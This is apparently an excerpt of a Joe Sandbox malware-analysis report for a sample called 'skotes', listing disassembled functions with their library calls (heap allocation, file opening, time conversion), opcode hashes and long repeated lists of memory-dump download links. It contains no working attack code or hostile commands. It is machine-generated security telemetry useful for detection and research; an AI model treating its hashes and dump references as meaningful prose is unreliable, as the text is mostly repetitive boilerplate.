Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 83624aa3e63431f63e540f82579f9ebd4d5c9ca79a1e599b4b2bf18adb11316d
Instruction ID: 501ce70c657a99fb0584bf30d4c14578d79240f614c3842a65b55621605a20ca
Opcode Fuzzy Hash: 83624aa3e63431f63e540f82579f9ebd4d5c9ca79a1e599b4b2bf18adb11316d
Instruction Fuzzy Hash: 99512771D102489BDB28EB28DD49BDDFBB5DB45315F5042E9E418A73C1EF309E808B91

Function 00C07124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00C0705B,?,?,00000000,00000000), ref: 00C07166

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: cfa7f130e1a3bddf12619ebecf6650c9cfd997b52a6057d44367c9200a460592
Instruction ID: 1640579be05d2f272a735fe2df26b2375397120b5dcc61aea84461ecb58bd6bd
Opcode Fuzzy Hash: cfa7f130e1a3bddf12619ebecf6650c9cfd997b52a6057d44367c9200a460592
Instruction Fuzzy Hash: 8F11187290410DABDF14DE95C885EDFB7BDAF08310F209262E51AE20C0EB70EB09CB61

Function 00C0AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00C0AC8D

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 861ab313bef5de09ca3dfbce62460087d59c4bf1f5bc78d7c910c7cddfa7f0f6
Instruction ID: eb72b2b08e60e0675b36722bf25e8c373f51bf7a86a38169569f30502bd3ce35
Opcode Fuzzy Hash: 861ab313bef5de09ca3dfbce62460087d59c4bf1f5bc78d7c910c7cddfa7f0f6
Instruction Fuzzy Hash: DE111571A0420AAFCF05DF58E941ADF7BF4EF48304F054069F809AB251D631EE21DB65

Function 00C0D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C0A813,00000001,00000364,00000006,000000FF,?,00BED3FC,845AEA34,?,00BE7A8B,?), ref: 00C0D870

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5011da67c3aed33a3371c19f893b3676938b39599f9d43126a84cca7974e81d2
Instruction ID: 1f28cd3c575c6f2552635745c43622915c0e8e6abfe311b5704bdbe849ee320e
Opcode Fuzzy Hash: 5011da67c3aed33a3371c19f893b3676938b39599f9d43126a84cca7974e81d2
Instruction Fuzzy Hash: 5BF0273264522466EB212AF39C01B5B3799DF817B0B29C321FC2AA71D1DA30EE00D6E0

Function 00C0B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,845AEA34,?,?,00BED3FC,845AEA34,?,00BE7A8B,?,?,?,?,?,?,00BD7465,?), ref: 00C0B07D

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 46b412eaa85ff46fd2368cfd1db9b444f2055ad649d108331fa08ec8d3540c30
Instruction ID: 19c0c6e28c53aeff537fb8178afa56ef930683b729a6009579b3e6d7005c55c0
Opcode Fuzzy Hash: 46b412eaa85ff46fd2368cfd1db9b444f2055ad649d108331fa08ec8d3540c30
Instruction Fuzzy Hash: 2DE09BB5585226A6E73172759C00B6F76499F423B4F151211EDB4961D1DF11DE00D1E1

Function 00C11775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00C11B65,?,?,00000000,?,00C11B65,00000000,0000000C), ref: 00C11792

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
